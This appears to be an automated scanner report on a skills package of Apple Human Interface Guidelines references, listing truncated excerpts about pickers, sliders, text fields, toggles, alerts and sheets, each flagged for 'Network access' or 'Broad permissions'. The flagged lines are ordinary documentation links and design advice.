### [watchOS](https://developer.apple.com/design/human-interface-guidelines/pickers#watchOS) - Network accessline 89
A picker can display a list of items using the wheels style. watchOS can also display date and time pickers using the wheels style. For developer guidance, see [`Picker`](https://developer.apple.com/documentation/SwiftUI/Picker) and [`DateP - Network accessline 91
 - Network accessline 95
 - Network accessline 99
For longer lists, the navigation link displays the picker as a button. When someone taps the button, the system shows the list of options. The person can also scrub through the options using the Digital Crown without tapping the button. For - Network accessline 101
 - Network accessline 107
#### [Related](https://developer.apple.com/design/human-interface-guidelines/pickers#Related) - Network accessline 109
[Pull-down buttons](https://developer.apple.com/design/human-interface-guidelines/pull-down-buttons) - Network accessline 111
[Lists and tables](https://developer.apple.com/design/human-interface-guidelines/lists-and-tables) - Network accessline 113
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/pickers#Developer-documentation) - Network accessline 115
[`Picker`](https://developer.apple.com/documentation/SwiftUI/Picker) — SwiftUI - Network accessline 117
[`UIDatePicker`](https://developer.apple.com/documentation/UIKit/UIDatePicker) — UIKit - Network accessline 119
[`UIPickerView`](https://developer.apple.com/documentation/UIKit/UIPickerView) — UIKit - Network accessline 121
[`NSDatePicker`](https://developer.apple.com/documentation/AppKit/NSDatePicker) — AppKit - Network accessline 123
## [Change log](https://developer.apple.com/design/human-interface-guidelines/pickers#Change-log)
skills/hig-components-controls/references/rating-indicators.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Rating indicators | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/rating-indicators - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/rating-indicators - Network accessline 9
 - Network accessline 19
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Platform-considerations) - Network accessline 23
## [Resources](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Resources) - Network accessline 25
#### [Related](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Related) - Network accessline 27
[Ratings and reviews](https://developer.apple.com/design/human-interface-guidelines/ratings-and-reviews) - Network accessline 29
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Developer-documentation) - Network accessline 31
[`NSLevelIndicator.Style.rating`](https://developer.apple.com/documentation/AppKit/NSLevelIndicator/Style/rating) — AppKit - Network accessline 33
## [Change log](https://developer.apple.com/design/human-interface-guidelines/rating-indicators#Change-log)
skills/hig-components-controls/references/segmented-controls.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Segmented controls | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/segmented-controls - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/segmented-controls - Network accessline 9
, segments can contain text or images. Segments can also have text labels beneath them - Network accessline 15
 - Network accessline 25
 - Network accessline 43
**Use nouns or noun phrases for segment labels.** Write text that describes each segment and uses [title-style capitalization](https://support.apple.com/guide/applestyleguide/c-apsgb744e4a3/web#apdca93e113f1d64). A segmented control that di - Network accessline 45
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Platform-considerations) - Network accessline 49
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#iOS-iPadOS) - Network accessline 51
**Consider a segmented control to switch between closely related subviews.** A segmented control can be useful as a way to quickly switch between related subviews. For example, the segmented control in Calendar’s New Event sheet switches be - Network accessline 53
 - Network accessline 59
**Use a tab view in the main window area — instead of a segmented control — for view switching.** A [tab view](https://developer.apple.com/design/human-interface-guidelines/tab-views) supports efficient view switching and is similar in appe - Network accessline 61
 - Network accessline 71
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#visionOS) - Network accessline 75
## [Resources](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Resources) - Network accessline 77
#### [Related](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Related) - Network accessline 79
[Split views](https://developer.apple.com/design/human-interface-guidelines/split-views) - Network accessline 81
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Developer-documentation) - Network accessline 83
[`segmented`](https://developer.apple.com/documentation/SwiftUI/PickerStyle/segmented) — SwiftUI - Network accessline 85
[`UISegmentedControl`](https://developer.apple.com/documentation/UIKit/UISegmentedControl) — UIKit - Network accessline 87
[`NSSegmentedControl`](https://developer.apple.com/documentation/AppKit/NSSegmentedControl) — AppKit - Network accessline 89
## [Change log](https://developer.apple.com/design/human-interface-guidelines/segmented-controls#Change-log)
skills/hig-components-controls/references/sliders.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Sliders | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/sliders - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/sliders - Network accessline 9
 - Network accessline 19
**Consider supplementing a slider with a corresponding text field and stepper.** Especially when a slider represents a wide range of values, people may appreciate seeing the exact slider value and having the ability to enter a specific valu - Network accessline 21
 - Network accessline 27
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/sliders#iOS-iPadOS) - Network accessline 29
**Don’t use a slider to adjust audio volume.** If you need to provide volume control in your app, use a volume view, which is customizable and includes a volume-level slider and a control for changing the active audio output device. For gui - Network accessline 31
### [macOS](https://developer.apple.com/design/human-interface-guidelines/sliders#macOS) - Network accessline 39
Circular slider - Network accessline 49
**Consider using a label to introduce a slider.** Labels generally use [sentence-style capitalization](https://help.apple.com/applestyleguide/#/apsgb744e4a3?sub=apdca93e113f1d64) and end with a colon. For guidance, see [Labels](https://deve - Network accessline 53
 - Network accessline 61
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/sliders#watchOS) - Network accessline 65
 - Network accessline 73
#### [Related](https://developer.apple.com/design/human-interface-guidelines/sliders#Related) - Network accessline 75
[Steppers](https://developer.apple.com/design/human-interface-guidelines/steppers) - Network accessline 77
[Pickers](https://developer.apple.com/design/human-interface-guidelines/pickers) - Network accessline 79
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/sliders#Developer-documentation) - Network accessline 81
[`Slider`](https://developer.apple.com/documentation/SwiftUI/Slider) — SwiftUI - Network accessline 83
[`UISlider`](https://developer.apple.com/documentation/UIKit/UISlider) — UIKit - Network accessline 85
[`NSSlider`](https://developer.apple.com/documentation/AppKit/NSSlider) — AppKit - Network accessline 87
## [Change log](https://developer.apple.com/design/human-interface-guidelines/sliders#Change-log)
skills/hig-components-controls/references/steppers.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Steppers | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/steppers - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/steppers - Network accessline 9
 - Network accessline 19
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/steppers#Platform-considerations) - Network accessline 23
### [macOS](https://developer.apple.com/design/human-interface-guidelines/steppers#macOS) - Network accessline 27
## [Resources](https://developer.apple.com/design/human-interface-guidelines/steppers#Resources) - Network accessline 29
#### [Related](https://developer.apple.com/design/human-interface-guidelines/steppers#Related) - Network accessline 31
[Pickers](https://developer.apple.com/design/human-interface-guidelines/pickers) - Network accessline 33
[Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) - Network accessline 35
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/steppers#Developer-documentation) - Network accessline 37
[`UIStepper`](https://developer.apple.com/documentation/UIKit/UIStepper) — UIKit - Network accessline 39
[`NSStepper`](https://developer.apple.com/documentation/AppKit/NSStepper) — AppKit
skills/hig-components-controls/references/text-fields.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Text fields | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/text-fields - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/text-fields - Network accessline 9
 - Network accessline 13
**Use a text field to request a small amount of information, such as a name or an email address.** To let people input larger amounts of text, use a [text view](https://developer.apple.com/design/human-interface-guidelines/text-views) inste - Network accessline 17
**Use secure text fields to hide private data.** Always use a secure text field when your app asks for sensitive data, such as a password. For developer guidance, see [`SecureField`](https://developer.apple.com/documentation/SwiftUI/SecureF - Network accessline 29
Clipped text - Network accessline 35
Wrapped text - Network accessline 37
 - Network accessline 41
**In iOS, iPadOS, tvOS, and visionOS apps, show the appropriate keyboard type.** Several different keyboard types are available, each designed to facilitate a different type of input, such as numbers or URLs. To streamline data entry, displ - Network accessline 45
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/text-fields#Platform-considerations) - Network accessline 49
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/text-fields#iOS-iPadOS) - Network accessline 55
### [macOS](https://developer.apple.com/design/human-interface-guidelines/text-fields#macOS) - Network accessline 57
**Consider using a combo box if you need to pair text input with a list of choices.** For related guidance, see [Combo boxes](https://developer.apple.com/design/human-interface-guidelines/combo-boxes). - Network accessline 59
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/text-fields#watchOS) - Network accessline 63
## [Resources](https://developer.apple.com/design/human-interface-guidelines/text-fields#Resources) - Network accessline 65
#### [Related](https://developer.apple.com/design/human-interface-guidelines/text-fields#Related) - Network accessline 67
[Text views](https://developer.apple.com/design/human-interface-guidelines/text-views) - Network accessline 69
[Combo boxes](https://developer.apple.com/design/human-interface-guidelines/combo-boxes) - Network accessline 71
[Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data) - Network accessline 73
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/text-fields#Developer-documentation) - Network accessline 75
[`TextField`](https://developer.apple.com/documentation/SwiftUI/TextField) — SwiftUI - Network accessline 77
[`SecureField`](https://developer.apple.com/documentation/SwiftUI/SecureField) — SwiftUI - Network accessline 79
[`UITextField`](https://developer.apple.com/documentation/UIKit/UITextField) — UIKit - Network accessline 81
[`NSTextField`](https://developer.apple.com/documentation/AppKit/NSTextField) — AppKit - Network accessline 83
## [Change log](https://developer.apple.com/design/human-interface-guidelines/text-fields#Change-log)
skills/hig-components-controls/references/text-views.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Text views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/text-views - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/text-views - Network accessline 9
 - Network accessline 15
**Use a text view when you need to display text that’s long, editable, or in a special format.** Text views differ from [text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) and [labels](https://developer. - Network accessline 17
**Keep text legible.** Although you can use multiple fonts, colors, and alignments in creative ways, it’s essential to maintain the readability of your content. It’s a good idea to adopt Dynamic Type so your text still looks good if people - Network accessline 21
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/text-views#Platform-considerations) - Network accessline 25
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/text-views#iOS-iPadOS) - Network accessline 27
**Show the appropriate keyboard type.** Several different keyboard types are available, each designed to facilitate a different type of input. To streamline data entry, the keyboard you display when editing a text view needs to be appropria - Network accessline 29
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/text-views#tvOS) - Network accessline 31
You can display text in tvOS using a text view. Because text input in tvOS is minimal by design, tvOS uses [text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) for editable text instead. - Network accessline 33
## [Resources](https://developer.apple.com/design/human-interface-guidelines/text-views#Resources) - Network accessline 35
#### [Related](https://developer.apple.com/design/human-interface-guidelines/text-views#Related) - Network accessline 37
[Labels](https://developer.apple.com/design/human-interface-guidelines/labels) - Network accessline 39
[Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) - Network accessline 41
[Combo boxes](https://developer.apple.com/design/human-interface-guidelines/combo-boxes) - Network accessline 43
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/text-views#Developer-documentation) - Network accessline 45
[`Text`](https://developer.apple.com/documentation/SwiftUI/Text) — SwiftUI - Network accessline 47
[`UITextView`](https://developer.apple.com/documentation/UIKit/UITextView) — UIKit - Network accessline 49
[`NSTextView`](https://developer.apple.com/documentation/AppKit/NSTextView) — AppKit - Network accessline 51
## [Change log](https://developer.apple.com/design/human-interface-guidelines/text-views#Change-log)
skills/hig-components-controls/references/toggles.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Toggles | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/toggles - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/toggles - Network accessline 9
. - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/toggles#Best-practices) - Network accessline 17
**Use a toggle to help people choose between two opposing values that affect the state of content or a view.** A toggle always lets people manage the state of something, so if you need to support other types of actions — such as choosing fr - Network accessline 23
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/toggles#Platform-considerations) - Network accessline 27
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/toggles#iOS-iPadOS) - Network accessline 33
 - Network accessline 55
#### [Switches](https://developer.apple.com/design/human-interface-guidelines/toggles#Switches) - Network accessline 57
**Prefer a switch for settings that you want to emphasize.** A switch has more visual weight than a checkbox, so it looks better when it controls more functionality than a checkbox typically does. For example, you might use a switch to let - Network accessline 59
**Within a grouped form, consider using a mini switch to control the setting in a single row.** The height of a mini switch is similar to the height of buttons and other controls, resulting in rows that have a consistent height. If you need - Network accessline 63
#### [Checkboxes](https://developer.apple.com/design/human-interface-guidelines/toggles#Checkboxes) - Network accessline 69
 - Network accessline 75
**Accurately reflect a checkbox’s state in its appearance.** A checkbox’s state can be on, off, or mixed. If you use a checkbox to globally turn on and off multiple subordinate checkboxes, show a mixed state when the subordinate checkboxes - Network accessline 77
Off - Network accessline 81
 - Network accessline 87
Deselected - Network accessline 97
**Avoid listing too many radio buttons in a set.** A long list of radio buttons takes up a lot of space in the interface and can be overwhelming. If you need to present more than about five options, consider using a component like a [pop-up - Network accessline 103
 - Network accessline 107
#### [Related](https://developer.apple.com/design/human-interface-guidelines/toggles#Related) - Network accessline 109
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 111
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/toggles#Developer-documentation) - Network accessline 113
[`Toggle`](https://developer.apple.com/documentation/SwiftUI/Toggle) — SwiftUI - Network accessline 115
[`UISwitch`](https://developer.apple.com/documentation/UIKit/UISwitch) — UIKit - Network accessline 117
[`NSButton.ButtonType.toggle`](https://developer.apple.com/documentation/AppKit/NSButton/ButtonType/toggle) — AppKit - Network accessline 119
[`NSSwitch`](https://developer.apple.com/documentation/AppKit/NSSwitch) — AppKit - Network accessline 121
## [Change log](https://developer.apple.com/design/human-interface-guidelines/toggles#Change-log)
skills/hig-components-controls/references/token-fields.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Token fields | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/token-fields - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/token-fields - Network accessline 9
 - Network accessline 19
 - Network accessline 21
Tokens can also represent search terms in some situations; for guidance, see [Search fields](https://developer.apple.com/design/human-interface-guidelines/search-fields). - Network accessline 23
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/token-fields#Best-practices) - Network accessline 25
**Add value with a context menu.** People often benefit from a [context menu](https://developer.apple.com/design/human-interface-guidelines/context-menus) with additional options or information about a token. - Network accessline 31
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/token-fields#Platform-considerations) - Network accessline 35
## [Resources](https://developer.apple.com/design/human-interface-guidelines/token-fields#Resources) - Network accessline 37
#### [Related](https://developer.apple.com/design/human-interface-guidelines/token-fields#Related) - Network accessline 39
[Text fields](https://developer.apple.com/design/human-interface-guidelines/text-fields) - Network accessline 41
[Search fields](https://developer.apple.com/design/human-interface-guidelines/search-fields) - Network accessline 43
[Context menus](https://developer.apple.com/design/human-interface-guidelines/context-menus) - Network accessline 45
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/token-fields#Developer-documentation) - Network accessline 47
[`NSTokenField`](https://developer.apple.com/documentation/AppKit/NSTokenField) — AppKit
skills/hig-components-controls/references/virtual-keyboards.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Virtual keyboards | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards - Network accessline 9
 - Network accessline 17
**Choose a keyboard that matches the type of content people are editing.** For example, you can help people enter numeric data by providing the numbers and punctuation keyboard. When you specify a semantic meaning for a text input area, the - Network accessline 34
 - Network accessline 62
In some cases, you can create an _input view_ if you want to provide custom functionality that enhances data-entry tasks in your app. For example, Numbers provides a custom input view for entering numeric values while editing a spreadsheet. - Network accessline 66
**Play the standard keyboard sound while people type.** The keyboard sound provides familiar feedback when people tap a key on the system keyboard, so they’re likely to expect the same sound when they tap keys in your custom input view. Peo - Network accessline 68
## [Custom keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Custom-keyboards) - Network accessline 70
In iOS, iPadOS, and tvOS, you can provide a custom keyboard that replaces the system keyboard by creating an app extension. An _app extension_ is code you provide that people can install and use to extend the functionality of a specific are - Network accessline 72
After people choose your custom keyboard in Settings, they can use it for text entry within any app, except when editing secure text fields and phone number fields. People can choose multiple custom keyboards and switch between them at any - Network accessline 82
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Platform-considerations) - Network accessline 86
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#iOS-iPadOS) - Network accessline 88
**Use the keyboard layout guide to make the keyboard feel like an integrated part of your interface.** Using the layout guide also helps you keep important parts of your interface visible while the virtual keyboard is onscreen. For develope - Network accessline 90
 - Network accessline 92
The keyboard layout guide helps ensure that app UI and the keyboard work well to - Network accessline 94
Without the layout guide, the keyboard could make entering text more difficult. - Network accessline 98
Without the layout guide, the keyboard could make tapping a button more difficult. - Network accessline 102
**Place custom controls above the keyboard thoughtfully.** Some apps position an input accessory view containing custom controls above the keyboard to offer app-specific functionality related to the data people are working with. For example - Network accessline 104
### [tvOS](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#tvOS) - Network accessline 112
When people activate a digit entry view, tvOS displays a digit-specific keyboard. For guidance, see [Digit entry views](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views). - Network accessline 114
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#visionOS) - Network accessline 124
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#watchOS) - Network accessline 126
On Apple Watch, a text field can show a keyboard if the device screen is large enough. Otherwise, the system lets people use dictation or Scribble to enter information. You can’t change the keyboard type in watchOS, but you can set the cont - Network accessline 130
## [Resources](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Resources) - Network accessline 132
#### [Related](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Related) - Network accessline 134
[Entering data](https://developer.apple.com/design/human-interface-guidelines/entering-data) - Network accessline 136
[Keyboards](https://developer.apple.com/design/human-interface-guidelines/keyboards) - Network accessline 138
[Layout](https://developer.apple.com/design/human-interface-guidelines/layout) - Network accessline 140
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Developer-documentation) - Network accessline 142
[`keyboardType(_:)`](https://developer.apple.com/documentation/SwiftUI/View/keyboardType\(_:\)) — SwiftUI - Network accessline 144
[`textContentType(_:)`](https://developer.apple.com/documentation/SwiftUI/View/textContentType\(_:\)) — SwiftUI - Network accessline 146
[`UIKeyboardType`](https://developer.apple.com/documentation/UIKit/UIKeyboardType) — UIKit - Network accessline 148
## [Change log](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards#Change-log)
skills/hig-components-dialogs/SKILL.md
- Network accessline 78
*Built by [Raintree Technology](https://raintree.technology) · [More developer tools](https://raintree.technology)*
skills/hig-components-dialogs/references/action-sheets.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Action sheets | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/action-sheets - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/action-sheets - Network accessline 9
 for a confirmation dialog. If you use UIKit, you us - Network accessline 15
## [Best practices](https://developer.apple.com/design/human-interface-guidelines/action-sheets#Best-practices) - Network accessline 17
**Use an action sheet — not an alert — to offer choices related to an intentional action.** For example, when people cancel the message they’re editing in Mail on iPhone, an action sheet provides two choices: delete the draft, or save the d - Network accessline 19
 - Network accessline 21
 - Network accessline 37
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/action-sheets#iOS-iPadOS) - Network accessline 43
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/action-sheets#watchOS) - Network accessline 47
 - Network accessline 61
#### [Related](https://developer.apple.com/design/human-interface-guidelines/action-sheets#Related) - Network accessline 63
[Modality](https://developer.apple.com/design/human-interface-guidelines/modality) - Network accessline 65
[Sheets](https://developer.apple.com/design/human-interface-guidelines/sheets) - Network accessline 67
[Alerts](https://developer.apple.com/design/human-interface-guidelines/alerts) - Network accessline 69
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/action-sheets#Developer-documentation) - Network accessline 71
[`confirmationDialog(_:isPresented:titleVisibility:actions:)`](https://developer.apple.com/documentation/SwiftUI/View/confirmationDialog\(_:isPresented:titleVisibility:actions:\)-46zbb) — SwiftUI - Network accessline 73
[`UIAlertController.Style.actionSheet`](https://developer.apple.com/documentation/UIKit/UIAlertController/Style/actionSheet) — UIKit
skills/hig-components-dialogs/references/alerts.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Alerts | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/alerts - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/alerts - Network accessline 9
 - Network accessline 23
## [Anatomy](https://developer.apple.com/design/human-interface-guidelines/alerts#Anatomy) - Network accessline 35
 - Network accessline 37
 - Network accessline 39
 - Network accessline 41
 - Network accessline 43
 - Network accessline 45
## [Content](https://developer.apple.com/design/human-interface-guidelines/alerts#Content) - Network accessline 53
* macOS alerts can add a suppression [checkbox](https://developer.apple.com/design/human-interface-guidelines/toggles#Checkboxes) and a [Help button](https://developer.apple.com/design/human-interface-guidelines/buttons#Help-buttons). - Network accessline 60
**Write a title that clearly and succinctly describes the situation.** You need to help people quickly understand the situation, so be complete and specific, without being verbose. As much as possible, describe what happened, the context in - Network accessline 64
**Avoid explaining alert buttons.** If your alert text and button titles are clear, you don’t need to explain what the buttons do. In rare cases where you need to provide guidance on choosing a button, use a term like _choose_ to account fo - Network accessline 68
## [Buttons](https://developer.apple.com/design/human-interface-guidelines/alerts#Buttons) - Network accessline 70
**Create succinct, logical button titles.** Aim for a one- or two-word title that describes the result of selecting the button. Prefer verbs and verb phrases that relate directly to the alert text — for example, “View All,” “Reply,” or “Ign - Network accessline 88
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/alerts#Platform-considerations) - Network accessline 92
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/alerts#iOS-iPadOS) - Network accessline 94
**Use an action sheet — not an alert — to offer choices related to an intentional action.** For example, when people cancel the Mail message they’re editing, an action sheet provides three choices: delete the edits (or the entire draft), sa - Network accessline 98
### [macOS](https://developer.apple.com/design/human-interface-guidelines/alerts#macOS) - Network accessline 104
* Append a custom view if it’s necessary to provide additional information (for developer guidance, see [`accessoryView`](https://developer.apple.com/documentation/AppKit/NSAlert/accessoryView)). - Network accessline 106
* Include a Help button that opens your help documentation (see [Help buttons](https://developer.apple.com/design/human-interface-guidelines/buttons#Help-buttons)). - Network accessline 113
### [visionOS](https://developer.apple.com/design/human-interface-guidelines/alerts#visionOS) - Network accessline 123
If someone moves a window without dismissing its alert, the alert remains anchored to the window. If your app is running in a Full Space, the system displays the alert centered in the wearer’s [field of view](https://developer.apple.com/des - Network accessline 133
## [Resources](https://developer.apple.com/design/human-interface-guidelines/alerts#Resources) - Network accessline 135
#### [Related](https://developer.apple.com/design/human-interface-guidelines/alerts#Related) - Network accessline 137
[Modality](https://developer.apple.com/design/human-interface-guidelines/modality) - Network accessline 139
[Action sheets](https://developer.apple.com/design/human-interface-guidelines/action-sheets) - Network accessline 141
[Sheets](https://developer.apple.com/design/human-interface-guidelines/sheets) - Network accessline 143
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/alerts#Developer-documentation) - Network accessline 145
[`alert(_:isPresented:actions:)`](https://developer.apple.com/documentation/SwiftUI/View/alert\(_:isPresented:actions:\)-1bkka) — SwiftUI - Network accessline 147
[`UIAlertController`](https://developer.apple.com/documentation/UIKit/UIAlertController) — UIKit - Network accessline 149
[`NSAlert`](https://developer.apple.com/documentation/AppKit/NSAlert) — AppKit - Network accessline 151
## [Change log](https://developer.apple.com/design/human-interface-guidelines/alerts#Change-log)
skills/hig-components-dialogs/references/digit-entry-views.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Digit entry views | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/digit-entry-views - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/digit-entry-views - Network accessline 9
 - Network accessline 19
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views#Platform-considerations) - Network accessline 23
## [Resources](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views#Resources) - Network accessline 25
#### [Related](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views#Related) - Network accessline 27
[Virtual keyboards](https://developer.apple.com/design/human-interface-guidelines/virtual-keyboards) - Network accessline 29
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/digit-entry-views#Developer-documentation) - Network accessline 31
[`TVDigitEntryViewController`](https://developer.apple.com/documentation/TVUIKit/TVDigitEntryViewController) — TVUIKit
skills/hig-components-dialogs/references/popovers.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Popovers | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/popovers - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/popovers - Network accessline 9
 - Network accessline 35
**Avoid using a popover to show a warning.** People can miss a popover or accidentally close it. If you need to warn people, use an [alert](https://developer.apple.com/design/human-interface-guidelines/alerts) instead. - Network accessline 37
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/popovers#Platform-considerations) - Network accessline 41
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/popovers#iOS-iPadOS) - Network accessline 43
**Avoid displaying popovers in compact views.** Make your app or game dynamically adjust its layout based on the size class of the content area. Reserve popovers for wide views; for compact views, use all available screen space by presentin - Network accessline 45
### [macOS](https://developer.apple.com/design/human-interface-guidelines/popovers#macOS) - Network accessline 54
 - Network accessline 56
 - Network accessline 62
## [Resources](https://developer.apple.com/design/human-interface-guidelines/popovers#Resources) - Network accessline 64
#### [Related](https://developer.apple.com/design/human-interface-guidelines/popovers#Related) - Network accessline 66
[Sheets](https://developer.apple.com/design/human-interface-guidelines/sheets) - Network accessline 68
[Action sheets](https://developer.apple.com/design/human-interface-guidelines/action-sheets) - Network accessline 70
[Alerts](https://developer.apple.com/design/human-interface-guidelines/alerts) - Network accessline 72
[Modality](https://developer.apple.com/design/human-interface-guidelines/modality) - Network accessline 74
#### [Developer documentation](https://developer.apple.com/design/human-interface-guidelines/popovers#Developer-documentation) - Network accessline 76
[`popover(isPresented:attachmentAnchor:arrowEdge:content:)`](https://developer.apple.com/documentation/SwiftUI/View/popover\(isPresented:attachmentAnchor:arrowEdge:content:\)) — SwiftUI - Network accessline 78
[`UIPopoverPresentationController`](https://developer.apple.com/documentation/UIKit/UIPopoverPresentationController) — UIKit - Network accessline 80
[`NSPopover`](https://developer.apple.com/documentation/AppKit/NSPopover) — AppKit
skills/hig-components-dialogs/references/sheets.md
- Broad permissionsline 1
Unsupported or unresolved allowed-tools declaration - Network accessline 1
--- title: "Sheets | Apple Developer Documentation" source: https://developer.apple.com/design/human-interface-guidelines/sheets - Network accessline 3
source: https://developer.apple.com/design/human-interface-guidelines/sheets - Network accessline 9
 - Network accessline 27
**For complex or prolonged user flows, consider alternatives to sheets.** For example, iOS and iPadOS offer a full-screen style of modal view that can work well to display content like videos, photos, or camera views or to help people perfo - Network accessline 31
**Use a nonmodal view when you want to present supplementary items that affect the main task in the parent view.** To give people access to information and actions they need while continuing to interact with the main window, consider using - Network accessline 33
## [Platform considerations](https://developer.apple.com/design/human-interface-guidelines/sheets#Platform-considerations) - Network accessline 37
### [iOS, iPadOS](https://developer.apple.com/design/human-interface-guidelines/sheets#iOS-iPadOS) - Network accessline 41
 - Network accessline 75
 - Network accessline 95
**Avoid displaying a sheet that emerges from the bottom edge of a window.** To help people view the sheet, prefer centering it in their [field of view](https://developer.apple.com/design/human-interface-guidelines/spatial-layout#Field-of-vi - Network accessline 99
### [watchOS](https://developer.apple.com/design/human-interface-guidelines/sheets#watchOS) - Network accessline 103
 - Network accessline 105
**Use a sheet only when your modal task requires a custom title or custom content presentation.** If you need to give people important information or present a set of choices, consider using an [alert](https://developer.apple.com/design/hum - Network accessline 109
**Change the default label of the dismiss control only if it makes sense in your app.** By default, the sheet displays a round Cancel button in the upper left corner. Use this button when the sheet lets people make changes to the app’s beha - Network accessline 111
 - Network accessline 115
**If you change the default label, prefer using SF Symbols to represent the action.** Avoid using a label that might mislead people into thinking that the sheet is part of a hierarchical navigation interface. Also, if the text in the top-le - Network accessline 117
 - Network accessline 119
